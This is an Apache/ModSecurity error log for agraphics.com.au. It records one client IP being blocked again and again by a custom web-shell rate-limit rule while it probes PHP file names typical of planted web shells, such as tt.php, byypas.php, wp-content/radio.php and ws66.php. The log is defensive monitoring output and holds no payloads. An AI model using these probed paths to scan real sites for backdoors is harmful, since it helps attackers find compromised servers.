[Thu Apr 23 21:39:44.414471 2026] [:error] [pid 42972:tid 43016] [client 4.232.90.249:49086] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aeohIMOAb-3sOknsk4dDdgAAAEA"]
[Thu Apr 23 21:39:46.083382 2026] [:error] [pid 65000:tid 65040] [client 4.232.90.249:53844] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tt.php"] [unique_id "aeohIr6vRb9j6psK2ZaVawAAAgc"]
[Thu Apr 23 21:39:47.962699 2026] [:error] [pid 64998:tid 65005] [client 4.232.90.249:33715] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aeohI4V5EysYcTLjmwiGkQAAAcM"]
[Thu Apr 23 21:39:49.555201 2026] [:error] [pid 42973:tid 43051] [client 4.232.90.249:53856] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aeohJW6I0QqmmmLTHE0giAAAAIg"]
[Thu Apr 23 21:39:50.975077 2026] [:error] [pid 65000:tid 65038] [client 4.232.90.249:5088] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aeohJr6vRb9j6psK2ZaVfgAAAgU"]
[Thu Apr 23 21:39:52.132911 2026] [:error] [pid 43083:tid 43102] [client 4.232.90.249:49027] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aeohKDC5hrvNXosL83J7QAAAANE"]
[Thu Apr 23 21:39:53.280830 2026] [:error] [pid 64998:tid 65006] [client 4.232.90.249:45920] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeohKYV5EysYcTLjmwiGoAAAAcQ"]
[Thu Apr 23 21:39:54.925766 2026] [:error] [pid 42973:tid 43067] [client 4.232.90.249:42494] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeohKm6I0QqmmmLTHE0gjAAAAJg"]
[Thu Apr 23 21:39:57.370631 2026] [:error] [pid 59700:tid 59713] [client 4.232.90.249:49077] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeohLZXyGZJFeAIDWtksogAAAUs"]
[Thu Apr 23 21:39:59.545997 2026] [:error] [pid 42973:tid 43063] [client 4.232.90.249:5083] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeohL26I0QqmmmLTHE0gmAAAAJQ"]
[Thu Apr 23 21:40:02.668609 2026] [:error] [pid 42972:tid 43020] [client 4.232.90.249:33702] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeohMsOAb-3sOknsk4dDmwAAAEQ"]
[Thu Apr 23 21:40:03.659745 2026] [:error] [pid 59700:tid 59702] [client 4.232.90.249:49048] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeohM5XyGZJFeAIDWtkspwAAAUA"]
[Thu Apr 23 21:40:04.230081 2026] [:error] [pid 42972:tid 43030] [client 4.232.90.249:45935] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeohNMOAb-3sOknsk4dDogAAAE4"]
[Thu Apr 23 21:40:05.185304 2026] [:error] [pid 64998:tid 65007] [client 4.232.90.249:49037] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeohNYV5EysYcTLjmwiGtgAAAcU"]
[Thu Apr 23 21:40:06.098064 2026] [:error] [pid 64998:tid 65025] [client 4.232.90.249:33700] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aeohNoV5EysYcTLjmwiGuQAAAdc"]
[Thu Apr 23 21:40:06.908974 2026] [:error] [pid 42972:tid 43036] [client 4.232.90.249:5089] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aeohNsOAb-3sOknsk4dDqQAAAFQ"]
[Thu Apr 23 21:40:07.721183 2026] [:error] [pid 65000:tid 65054] [client 4.232.90.249:4478] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aeohN76vRb9j6psK2ZaVjAAAAhU"]
[Thu Apr 23 21:40:08.302833 2026] [:error] [pid 64998:tid 65024] [client 4.232.90.249:33696] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aeohOIV5EysYcTLjmwiGvgAAAdY"]
[Thu Apr 23 21:40:08.871532 2026] [:error] [pid 42973:tid 43056] [client 4.232.90.249:47226] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aeohOG6I0QqmmmLTHE0gqQAAAI0"]
[Thu Apr 23 21:40:09.853275 2026] [:error] [pid 59700:tid 59703] [client 4.232.90.249:4450] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aeohOZXyGZJFeAIDWtksrAAAAUE"]
[Thu Apr 23 21:40:10.651642 2026] [:error] [pid 25635:tid 25647] [client 4.232.90.249:49042] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aeohOsRxv6UsgRGKB3I1VQAAAQg"]
[Thu Apr 23 21:40:11.488743 2026] [:error] [pid 42972:tid 43016] [client 4.232.90.249:33664] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aeohO8OAb-3sOknsk4dDtQAAAEA"]
[Thu Apr 23 21:40:12.676874 2026] [:error] [pid 25635:tid 25641] [client 4.232.90.249:43503] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bmi.php"] [unique_id "aeohPMRxv6UsgRGKB3I1WQAAAQI"]
[Thu Apr 23 21:40:13.367520 2026] [:error] [pid 65000:tid 65053] [client 4.232.90.249:47201] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bmi.php"] [unique_id "aeohPb6vRb9j6psK2ZaVkgAAAhQ"]
[Thu Apr 23 21:40:14.319400 2026] [:error] [pid 42973:tid 43046] [client 4.232.90.249:47182] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bmi.php"] [unique_id "aeohPm6I0QqmmmLTHE0gsQAAAIM"]
[Thu Apr 23 21:40:15.899455 2026] [:error] [pid 42972:tid 43039] [client 4.232.90.249:49078] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bmi.php"] [unique_id "aeohP8OAb-3sOknsk4dDvgAAAFc"]
[Thu Apr 23 21:40:18.331775 2026] [:error] [pid 64998:tid 65013] [client 4.232.90.249:64619] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "aeohQoV5EysYcTLjmwiGxAAAAcs"]
[Thu Apr 23 21:40:21.635264 2026] [:error] [pid 59700:tid 59703] [client 4.232.90.249:37699] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "aeohRZXyGZJFeAIDWtksugAAAUE"]
[Thu Apr 23 21:40:22.263899 2026] [:error] [pid 46953:tid 46966] [client 4.232.90.249:49606] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "aeohRknlpdHh-P6wKbo7xQAAAko"]
[Thu Apr 23 21:40:23.460923 2026] [:error] [pid 43083:tid 43104] [client 4.232.90.249:41955] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "aeohRzC5hrvNXosL83J7RQAAANM"]
[Thu Apr 23 21:40:24.273362 2026] [:error] [pid 46953:tid 46972] [client 4.232.90.249:41929] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aeohSEnlpdHh-P6wKbo7xgAAAlA"]
[Thu Apr 23 21:40:26.822803 2026] [:error] [pid 42973:tid 43050] [client 4.232.90.249:50883] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aeohSm6I0QqmmmLTHE0gwAAAAIc"]
[Thu Apr 23 21:40:27.743550 2026] [:error] [pid 42972:tid 43021] [client 4.232.90.249:41896] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aeohS8OAb-3sOknsk4dDyAAAAEU"]
[Thu Apr 23 21:40:28.408447 2026] [:error] [pid 64998:tid 65013] [client 4.232.90.249:30846] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aeohTIV5EysYcTLjmwiG0QAAAcs"]
[Thu Apr 23 21:40:29.505604 2026] [:error] [pid 42971:tid 43003] [client 4.232.90.249:46149] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "aeohTTEP2_5RswrH8bEtDwAAABE"]
[Thu Apr 23 21:40:30.244982 2026] [:error] [pid 65000:tid 65057] [client 4.232.90.249:65504] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "aeohTr6vRb9j6psK2ZaVwQAAAhg"]
[Thu Apr 23 21:40:31.857034 2026] [proxy_fcgi:error] [pid 59700:tid 59719] [client 4.232.90.249:50884] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:40:32.096589 2026] [proxy_fcgi:error] [pid 59700:tid 59718] [client 4.232.90.249:50884] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:40:32.338378 2026] [proxy_fcgi:error] [pid 59700:tid 59715] [client 4.232.90.249:50884] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:40:32.842481 2026] [proxy_fcgi:error] [pid 59700:tid 59703] [client 4.232.90.249:50884] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:40:33.085149 2026] [proxy_fcgi:error] [pid 59700:tid 59722] [client 4.232.90.249:50884] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:40:33.344046 2026] [proxy_fcgi:error] [pid 59700:tid 59709] [client 4.232.90.249:50884] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:40:33.584130 2026] [proxy_fcgi:error] [pid 59700:tid 59704] [client 4.232.90.249:50884] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:40:34.096838 2026] [proxy_fcgi:error] [pid 59700:tid 59714] [client 4.232.90.249:50884] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:40:34.357846 2026] [proxy_fcgi:error] [pid 59700:tid 59706] [client 4.232.90.249:50884] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:40:34.602368 2026] [:error] [pid 59700:tid 59702] [client 4.232.90.249:50884] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "aeohUpXyGZJFeAIDWtkszgAAAUA"]
[Thu Apr 23 21:40:35.448809 2026] [:error] [pid 65000:tid 65043] [client 4.232.90.249:56626] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "aeohU76vRb9j6psK2ZaV0AAAAgo"]
[Thu Apr 23 21:40:36.012502 2026] [:error] [pid 65000:tid 65052] [client 4.232.90.249:65503] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "aeohVL6vRb9j6psK2ZaV0gAAAhM"]
[Thu Apr 23 21:40:36.561354 2026] [:error] [pid 42973:tid 43050] [client 4.232.90.249:56628] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "aeohVG6I0QqmmmLTHE0gygAAAIc"]
[Thu Apr 23 21:40:37.661783 2026] [:error] [pid 64998:tid 65012] [client 4.232.90.249:30789] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeohVYV5EysYcTLjmwiG3QAAAco"]
[Thu Apr 23 21:40:38.384547 2026] [:error] [pid 65000:tid 65048] [client 4.232.90.249:30817] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeohVr6vRb9j6psK2ZaV2gAAAg8"]
[Thu Apr 23 21:40:39.045991 2026] [:error] [pid 65000:tid 65032] [client 4.232.90.249:61087] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeohV76vRb9j6psK2ZaV3AAAAgM"]
[Thu Apr 23 21:40:39.682011 2026] [:error] [pid 65000:tid 65050] [client 4.232.90.249:4333] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeohV76vRb9j6psK2ZaV4AAAAhE"]
[Thu Apr 23 21:40:40.250437 2026] [:error] [pid 65000:tid 65049] [client 4.232.90.249:41484] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aeohWL6vRb9j6psK2ZaV5QAAAhA"]
[Thu Apr 23 21:40:41.115611 2026] [:error] [pid 42973:tid 43067] [client 4.232.90.249:59829] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aeohWW6I0QqmmmLTHE0g0AAAAJg"]
[Thu Apr 23 21:40:42.205290 2026] [:error] [pid 43083:tid 43106] [client 4.232.90.249:46184] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aeohWjC5hrvNXosL83J7TwAAANU"]
[Thu Apr 23 21:40:43.207933 2026] [:error] [pid 64998:tid 65011] [client 4.232.90.249:56620] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aeohW4V5EysYcTLjmwiG6gAAAck"]
[Thu Apr 23 21:40:45.204727 2026] [:error] [pid 64998:tid 65010] [client 4.232.90.249:56599] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eetu.php"] [unique_id "aeohXYV5EysYcTLjmwiG7wAAAcg"]
[Thu Apr 23 21:40:46.517895 2026] [:error] [pid 65000:tid 65037] [client 4.232.90.249:61064] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eetu.php"] [unique_id "aeohXr6vRb9j6psK2ZaV-QAAAgQ"]
[Thu Apr 23 21:40:47.589402 2026] [:error] [pid 42973:tid 43054] [client 4.232.90.249:59787] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eetu.php"] [unique_id "aeohX26I0QqmmmLTHE0g1AAAAIs"]
[Thu Apr 23 21:40:48.394467 2026] [:error] [pid 64998:tid 65004] [client 4.232.90.249:65489] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eetu.php"] [unique_id "aeohYIV5EysYcTLjmwiG9gAAAcI"]
[Thu Apr 23 21:40:49.068394 2026] [:error] [pid 65000:tid 65040] [client 4.232.90.249:46155] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aeohYb6vRb9j6psK2ZaWAAAAAgc"]
[Thu Apr 23 21:40:49.719423 2026] [:error] [pid 65000:tid 65031] [client 4.232.90.249:41865] [client 4.232.90.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aeohYb6vRb9j6psK2ZaWBQAAAgI"]
